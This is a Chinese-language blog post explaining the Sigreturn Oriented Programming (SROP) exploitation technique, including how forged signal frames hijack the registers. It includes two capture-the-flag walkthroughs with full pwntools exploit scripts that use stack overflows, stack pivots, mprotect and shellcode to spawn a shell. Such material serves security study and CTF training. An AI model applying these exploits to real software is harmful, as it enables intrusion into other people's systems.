Sigreturn Oriented Programming (SROP) Attack攻击

Posted by nop on 2019-12-25
Words 3.9k In Total

ROP攻击的前提条件

要完成一个成功的ROP攻击,需要有很多前提条件,这里列举几个最重要的:

  1. 首先必须要有一个buffer overflow的漏洞(当然这个前提基本上所有攻击都必须得有);
  2. 攻击者需要事先决定好完成攻击过程的所有gadgets。对于上面提到的赋值操作,总共只需要3个gadgets,每个gadget最长两条指令,但是如果需要进行一些复杂的操作,就有可能需要有很多gadgets;除了gadgets的数量多之外,单个gadget的指令数也需要考虑;
  3. 攻击者需要在被攻击程序所在的进程地址空间中找到所有的这些gadgets的首地址,并且将其填在栈的合适位置上。

现在操作系统中的一系列保护机制(比如ASLR),使得寻找gadgets的地址变得更难了。而且对于攻击者来说,他攻击每个不同的应用程序都需要单独精心构造大量的gadgets,这也使得ROP的可复用性变得很差。

SROP攻击原理

SROP的全称是Sigreturn Oriented Programming。在这里sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。

Signal in Unix-like System

Signal这套机制在1970年代就被提出来并整合进了UNIX内核中,它在现在的操作系统中被使用的非常广泛,比如内核要杀死一个进程(kill -9 $PID),再比如为进程设置定时器,或者通知进程一些异常事件等等。

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

Alt

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

Alt

我们将这段内存称为一个Signal Frame

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行

Signal机制缺陷利用

内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文。这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;而且内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame
因此,完全可以自己在栈上放好上下文,然后自己调用re_sigreturn,跳过步骤1、2。此时,我们将通过步骤3、4让内核把我们伪造的上下文恢复到用户进程中,也就是说我们可以重置所有寄存器的值,一次到位地做到控制通用寄存器,rip和完成栈劫持。

一个简单的攻击

假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示:

Alt

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。
这是一个最简单的攻击。在这个攻击中,有4个前提条件:

  1. 攻击者可以通过stack overflow等漏洞控制栈上的内容;
  2. 需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
  3. 需要知道syscall指令在内存中的地址;
  4. 需要知道sigreturn系统调用的内存地址。

利用SROP构造系统调用串(System call chains)

通过再额外添加一个对栈指针rsp的控制,可以实现连续的系统调用:

Alt

另外需要把原来单纯的syscall gadget换成syscall; ret gadget。在这个过程中,每次syscall返回之后,栈指针都会指向下一个Signal Frame,因此,在这个时候执行ret指令,就会再次调用sigreturn系统调用。这样就可以通过操作栈来达到连续进行系统调用的效果。

两个重要的gadgets

sigreturn

sigreturn这个系统调用和别的系统调用有一个不同的地方,即一般的应用程序不会主动调用它,而是像之前介绍的,由内核将相应地址填到栈上,使得应用进程被动地调用。因此在系统中一般会有一段代码专门用来调用sigreturn,在不同的类UNIX系统中,这段代码会出现在不同的位置

Alt

其中在Linux < 3.11 ARM(也就是大部分现在Android所使用的内核),以及FreeBSB 9.2 x86_64,都可以在固定的内存地址中找到这个gadget,而在其它系统中,一般被保存在libc库的内存中,如果有ASLR保护的话似乎没有那么容易找到。
如果将sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样的。

syscall;ret

Alt

如果是Linux < 3.3 x86_64(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系统中默认内核),则可以直接在固定地址[vsyscall]中找到这段代码片段。其中vsyscall是用来加速time()gettimeofday()getcpu()这三个系统调用的机制,虽然现在已经被vsyscall-emulatevdso机制所代替,但在稍微比较早一点的内核中依然是被默认支持的。

Linux下的SROP

可以直接调用pwntools的SigreturnFrame来快速生成SROP帧,需要注意的是,pwntools中的SigreturnFrame中并不需要填写rt_sigreturn的地址,我们只需要确保执行rt_sigreturn的时候栈顶是SigreturnFrame就行,因此我们可以通过syscall指令调用rt_sigreturn而不必特意去寻找这个调用的完整实现。此外,由于32位分为原生的i386(32位系统)和i386 on amd64(64位系统添加32位应用程序支持)两种情况,这两种情况的段寄存器设置有所不同

1
2
3
4
5
6
7
# 原生i386
context.arch = 'i386'
SROPFrame = SigreturnFrame(kernel='i386')

# amd64上运行的32位程序
context.arch = 'i386'
SROPFrame = SigreturnFrame(kernel='amd64')

SROP实例1

例,~/pwnable.kr-unexploitable/unexploitable

Alt

栈溢出,got表中没有system,也没有write,puts之类的输出函数,没办法泄露libc,使用ROPgadget也搜不到syscall。不过通过ropper可以搜索到一个syscall(ROPgadget无法把单独的syscall识别成一个gadget)

Alt

不过找不到给rsi,rdi等寄存器赋值的gadget。这就意味着我们也没办法直接通过ROP实现getshell。我们注意到read读取的长度是0x50f,而栈溢出只需要16字节就能够到rip。可以溢出的长度远大于SigreturnFrame的长度,所以我们可以尝试使用SROP getshell
选择直接调用sys_execve执行execve(‘/bin/sh’, 0, 0),由于syscall实际上是拆分了mov edx, 50Fh这条指令,执行完syscall之后是两个\x00无法被解释成合法的指令,所以我们没办法用SROP调用read。所以考虑用程序中原有的read读取”/bin/sh\x00”。
由于找不到给rsi传值的gadget,所以考虑通过修改rbp来修改rax, 进而修改rsi。我们先劫持一下rbp到0x60116c

Alt

0x60116c实际上为一个可写的地址,用作之后的读写操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
syscall_addr = 0x400560
set_read = 0x40055B
read_addr = 0x400571
fake_stack_addr = 0x60116c
fake_rbp_addr = 0x60116c
binsh = 0x60115c # buf的偏移为0x10,而在栈上的位置为[rbp+buf]=rbp-0x10

p = process('./unexploitable')

payload = 'A'*16
payload += p64(fake_stack_addr) # 劫持rbp
payload += p64(set_read) # 劫持rip,再一次执行read函数(包括前面为传参做的准备)
'''
劫持rbp到 0x60116c,此时buf在栈上的地址就变成了0x60115c,这里会执行两次leave,第一次是read函数执行完紧接着的leave指令,接着RIP被劫持为set_read,所以还会执行一次read函数,之后再执行一次call _read后的leave指令,即构造stack pivot
'''
p.send(payload)
sleep(3)

Alt
Alt

因为第二次的leav把栈指针劫持到0x601174,而此时的RIP又指向了mian函数中的retn,所以把第二次输入替换成ROP链就可以继续进行操作。这里在0x601174接rt_sigreturn,后面接SigreturnFrame,就可以完成SROP,syscall需要设置rax=0xf才能获取shell,对于i386/amd64的返回值一般保存在eax/rax中,而read函数返回值是其成功读取的字符数,所以可以再次调用read函数,输入十五个字符,设置rax为0xf,然后指向到retn调用syscall,触发rt_sigreturn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
context.arch = 'amd64'
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh # sys_execve第一个参数
frame.rsi = 0 # sys_execve第二个参数
frame.rdx = 0 # sys_execve(第三个参数)
frame.rip = syscall_addr # 执行sys_execve("/bin/sh\x00",0,0)

payload = 'A'*0x10
payload += p64(fake_stack_addr+0x10) # 此处对应的栈地址为0x60116c,内容设置为0x60117c,为第三次read后的leave指令做准备,第二次read后,leave执行会将此处对应的值放到rbp中(push rbp)
payload += p64(read_addr) # 此处对应栈地址0x601174(0x6c+0x8),即rip的指向,通过retn劫持rip到read_addr(rsi, rdi, rdx不变,调用read,利用之后的输入设置rax = 15)
payload += p64(fake_rbp_addr) # 此处对应地址为0x60117c(0x74+0x8),即fake_stack_addr+0x10,leave执行之后rsp变为fake_stack_addr+0x10+8=0x601184,rbp变为0x60116c
payload += p64(syscall_addr) # 此处对应栈的地址为0x601184,第三次read后的retn执行之后,劫持rip执行syscall(此前已经通过第三次输入将rax置为15(0xf))触发rt_sigreturn,此时0x801184为栈顶
payload += str(frame) # SigreturnFrame

p.send(payload)
sleep(3)
b = '/bin/sh\x00'.ljust(15,'a') # 因为还是使用的第二次调用read的状态(rsi, rdi, rdx不变),所以这里同样是读到0x60115c,开头需设置为'/bin/sh\x00'
p.send(b)
sleep(1)
p.interactive()

Alt

SROP实例2

例,~/360ichunqiu 2017-smallest/smallest
程序很简单,只有几句简单的汇编指令

Alt

通过汇编指令可以看到,实际上就只是一个read函数的功能调用,而且buf为rsp即栈指针所指向的栈顶,所以这个程序只要输入,就会造成溢出。

Alt

由于开启了NX/DEP保护,所以并不能输入shellcode来获取shell,但是可以通过SROP利用mprotect修改内存页属性+shellcode来getshell。程序没有bss段,只能选择先用mprotect修改一片不可写内存为可写或者直接写在栈上。前一种方案势必要使用SROP,从而造成栈劫持,而新栈上的数据无法控制,会导致程序retn后崩溃。因此只能选择写shellcode在栈上。这就需要泄露栈地址。可以先用sys_read读取1个字节长度使rax=1,然后调用sys_write(调用号为1)泄露数据,程序设置buf的指令是mov rsp, rsi,所以直接返回到这行指令上就可以泄露rsp地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
context.update(os="linux",arch="amd64")
syscall_addr = 0x4000BE
start_addr = 0x4000B0
set_rsi_rdi = 0x4000B8
shellcode = asm(shellcraft.amd64.linux.sh())

p = process('./smallest')

payload = p64(start_addr) # 使程序重新执行,获取输入,进而设置rax为1
payload += p64(set_rsi_rdi) # mov rsi, rsp; mov rdi, rax; syscall; retn,此时相当于执行sys_write(1, rsp, size)
payload += p64(start_addr) # 重新执行程序,方便后续操作

p.send(payload) # 第一次执行程序,输入payload,使能够第二次输入通过返回值修改rax为1

sleep(3)
# p.send(payload[8:8+1])
p.send('\xb8') # 利用read读取一个字符,设置rax=1,因为输入会修改rsp,一个字符会修改rsp的低8位,为了使程序能够正确执行到0x4000b8,所以这里只能发送0xb8(设置rdi和rdix执行sys_write(1,rsp,size))
stack_addr = u64(p.recv()[8:16])
log.info("stack_addr = %#x",stack_addr)

程序执行后再一次返回到start,因此接下来程序应该继续执行一次read.利用这次read使用SROP执行sys_read,读取payload(以start_addr开头)后将栈指针劫持到stack_addr,frame_mprotect frame执行完之后将rsp置为stack_addr,内容为start_addr,使程序能够重新执行,如果直接使用frame_mprotect frame,因为不知道start_add对应的栈地址,所以并不能将rsp指向start,这样也就不能让程序在执行完frame_mprotect frame之后再回到satrt重新执行程序来获取shellcode进而getshell,所以这这里需要先通过frame_read将start_addr读到一个可控的栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
frame_read = SigreturnFrame()   # 设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr # read_frame读取payload的位置,可控的栈地址,方便后续程序重新执行
frame_read.rip = syscall_addr

payload1 = p64(start_addr) # 返回到start重新执行sys_read,利用返回值设置rax=0xf,触发SROP
payload1 += p64(syscall_addr)
payload1 += str(frame_read)
p.send(payload1) # 泄露栈地址之后程序执行的read
sleep(3)
p.send(payload1[8:8+15]) # 输入payload后程序重新执行后的read,通过返回值设置rax=0xf,触发SROP
sleep(3)

# 此时通过frame_read调用read函数获取输入到stack_addr,payload以start_addr开头
frame_mprotect = SigreturnFrame()
# int mprotect(const void *start, size_t len, int prot);
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
frame_mprotect.rsp = stack_addr # 将rsp置为stack_addr,使mprotect frame执行完之后程序能够通过retn再重新执行
frame_mprotect.rip = syscall_addr

payload2 = p64(start_addr)
payload2 += p64(syscall_addr)
payload2 += str(frame_mprotect)

p.send(payload2) # frame_read触发的read获取输入
sleep(3)
p.send(payload2[8:8+15]) # 重新执行到start,read函数获取输入,触发SROP
sleep(3)
# rsp=stack_addr即saart的地址,再一次执行read
payload = p64(stack_addr+0x10) # ret到shellcode的首地址
payload += shellcode
p.send(payload)
sleep(3)
p.interactive()

Alt
Alt
Alt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 通过向泄露的栈地址写入'/bin/sh\x00',然后执行sys_execv('/bin/sh\x00',0,0)getshell
from pwn import *
context.arch = 'amd64'
syscall_addr = 0x4000BE
start_addr = 0x4000B0
set_rsi_rdi = 0x4000B8

p = process('./smallest')

payload = p64(start_addr)
payload += p64(set_rsi_rdi)
payload += p64(start_addr)
p.send(payload)

sleep(3)
# p.send(payload[8:8+1])
p.send('\xb8')
stack_addr = u64(p.recv()[8:16])
log.info("stack_addr = %#x",stack_addr)

frame_read = SigreturnFrame()
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr
frame_read.rip = syscall_addr

payload1 = p64(start_addr) # 从新执行,读取payload
payload1 += p64(syscall_addr)
payload1 += str(frame_read)

p.send(payload1)
sleep(3)
p.send(payload1[8:8+15]) # 触发SROP
sleep(3)

frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108 # len(str(frame_execve))+8+8
frame_execve.rsp = stack_addr
frame_execve.rip = syscall_addr

payload2 = p64(start_addr) # 重新执行读取payload
payload2 += p64(syscall_addr)
payload2 += str(frame_execve)
payload2 += '/bin/sh\x00'

p.send(payload2)
sleep(3)
p.send(payload2[8:8+15])
sleep(3)
p.interactive()

Alt


You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.